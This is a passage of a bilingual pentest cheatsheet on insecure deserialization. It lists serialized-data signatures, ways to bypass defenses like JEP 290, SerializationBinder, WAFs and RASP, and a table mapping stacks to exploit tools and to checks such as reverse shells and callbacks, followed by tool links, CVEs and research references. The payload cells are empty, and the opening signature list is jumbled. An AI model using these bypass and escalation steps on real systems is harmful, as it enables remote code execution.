ac ed 00 05rO0AB - form field 或 Cookie 中的 .NET
AAEAAAD///// - request parameter 中的 PHP
O:\d+:" - JSON body 中的 key(Json.NET)
$type - Node.js Cookie 中的
_$$ND_FUNC$$_ - YAML input 中的 tag
!!python/object
可能遇到的运行时防御机制:
- Java (JEP 290)——class allowlist/denylist。可使用完全由允许集合内 class 构成的 chain 进行绕过。
ObjectInputFilter - .NET ——限制类型解析。可使用允许 namespace 内仍能实现执行的类型进行绕过。
SerializationBinder - PHP 中的
unserialize()——限制可实例化的 class。可以只使用允许的 class 进行绕过,或通过allowed_classes到达 sink,因为该参数不会生效。phar:// - 针对序列化模式的 WAF 规则——可使用编码、压缩或切换 Content-Type 进行绕过。
- RASP——会检测反序列化调用。可先使用 URLDNS 或 sleep payload 测试其覆盖范围。
攻击生成的日志痕迹:
- 服务端日志中出现 /
ClassNotFoundException(chain 失败)ClassCastException - 引用 、
ObjectInputStream、readObject的 stack tracereadResolve - 应用 server 发起异常 outbound DNS/HTTP 请求
- JVM 或 interpreter 进程创建子进程
Engagement Cheatsheet
项目速查表
| Scenario | Tool | Payload | Verification |
|---|---|---|---|
| Java, Commons Collections 3.x | ysoserial | | URLDNS first |
| Java, unknown classpath | ysoserial | | DNS callback |
| PHP Laravel 5.x-9.x | phpggc | | DNS or sleep |
| PHP file upload + file op | phpggc | | phar:// trigger |
| .NET BinaryFormatter | ysoserial.net | | Process or DNS |
| .NET ViewState, known key | ysoserial.net | | Blind exec |
| .NET Json.NET TypeNameHandling | ysoserial.net | | File write or OOB |
| Python pickle in web app | Manual | | Curl callback |
| Python Celery/Redis | Manual | Pickle into task queue | All consumers exec |
| Python yaml.load | Manual | | OOB callback |
| Node.js node-serialize | Manual | | Reverse shell |
| Ruby Marshal in Rails cookie | Manual | Gem::Requirement + secret_key_base | Session forge + RCE |
| K8s admission webhook | ysoserial/manual | Payload in pod annotation | Webhook callback |
Safe confirmation sequence (always start here):
- Send URLDNS (Java) or DNS-callback command to confirm deserialization occurs.
- Send sleep/delay payload to confirm code execution without network egress.
- Escalate to engagement-authorized objective.
| 场景 | 工具 | Payload | 验证方式 |
|---|---|---|---|
| Java、Commons Collections 3.x | ysoserial | | 优先使用 URLDNS |
| Java、未知 classpath | ysoserial | 先使用 | DNS 回调 |
| PHP Laravel 5.x-9.x | phpggc | | DNS 或 sleep |
| PHP 文件上传 + 文件操作 | phpggc | 使用 | 触发 |
| .NET BinaryFormatter | ysoserial.net | | 进程或 DNS |
| .NET ViewState、已知 key | ysoserial.net | 带 key 参数的 | 盲执行 |
| .NET Json.NET TypeNameHandling | ysoserial.net | | 文件写入或 OOB |
| Web 应用中的 Python pickle | 手工构造 | | Curl 回调 |
| Python Celery/Redis | 手工构造 | 将 Pickle 写入 task queue | 所有 consumer 执行 |
| Python yaml.load | 手工构造 | | OOB 回调 |
| Node.js node-serialize | 手工构造 | | Reverse shell |
| Rails Cookie 中的 Ruby Marshal | 手工构造 | Gem::Requirement + secret_key_base | Session 伪造 + RCE |
| K8s admission webhook | ysoserial/手工构造 | 将 Payload 放入 pod annotation | Webhook 回调 |
安全确认顺序(始终从这里开始):
- 发送 URLDNS(Java)或 DNS callback command,以确认是否发生反序列化。
- 发送 sleep/delay payload,在不进行网络外连的情况下确认代码执行。
- 将攻击提升至项目已授权的目标。
Key References
主要参考资料
Tools:
- ysoserial (Java): https://github.com/frohoff/ysoserial
- phpggc (PHP): https://github.com/ambionics/phpggc
- ysoserial.net (.NET): https://github.com/pwntester/ysoserial.net
- marshalsec (Java JNDI/RMI): https://github.com/mbechler/marshalsec
- GadgetInspector: https://github.com/JackOfMostTrades/gadgetinspector
- Burp Deserialization Scanner (BApp Store)
Critical CVEs:
CVE-2015-4852 (WebLogic T3), CVE-2017-7525 (Jackson defaultTyping),
CVE-2017-9805 (Struts 2 XStream), CVE-2018-1000861 (Jenkins Stapler),
CVE-2019-2725 (WebLogic XMLDecoder), CVE-2019-6340 (Drupal REST),
CVE-2019-18935 (Telerik UI .NET), CVE-2020-9484 (Tomcat session persistence),
CVE-2020-36188 (Jackson SSRF via JNDI), CVE-2021-21978 (VMware View Planner),
CVE-2023-34362 (MOVEit Transfer), CVE-2023-46604 (ActiveMQ RCE)
Research:
"Marshalling Pickles" (Frohoff/Lawrence, AppSecCali 2015), "Friday the 13th: JSON
Attacks" (Munoz/Mirosh, BlackHat 2017), "Are You My Type?" (Munoz/Mirosh, .NET
serializers), OWASP Deserialization Cheat Sheet, PortSwigger Insecure Deserialization.
工具:
- ysoserial (Java): https://github.com/frohoff/ysoserial
- phpggc (PHP): https://github.com/ambionics/phpggc
- ysoserial.net (.NET): https://github.com/pwntester/ysoserial.net
- marshalsec (Java JNDI/RMI): https://github.com/mbechler/marshalsec
- GadgetInspector: https://github.com/JackOfMostTrades/gadgetinspector
- Burp Deserialization Scanner (BApp Store)
关键 CVE:
CVE-2015-4852 (WebLogic T3)、CVE-2017-7525 (Jackson defaultTyping)、CVE-2017-9805 (Struts 2 XStream)、CVE-2018-1000861 (Jenkins Stapler)、CVE-2019-2725 (WebLogic XMLDecoder)、CVE-2019-6340 (Drupal REST)、CVE-2019-18935 (Telerik UI .NET)、CVE-2020-9484 (Tomcat session persistence)、CVE-2020-36188 (Jackson SSRF via JNDI)、CVE-2021-21978 (VMware View Planner)、CVE-2023-34362 (MOVEit Transfer)、CVE-2023-46604 (ActiveMQ RCE)
研究资料:
“Marshalling Pickles”(Frohoff/Lawrence,AppSecCali 2015)、“Friday the 13th: JSON Attacks”(Munoz/Mirosh,BlackHat 2017)、“Are You My Type?”(Munoz/Mirosh,.NET serializer)、OWASP Deserialization Cheat Sheet、PortSwigger Insecure Deserialization。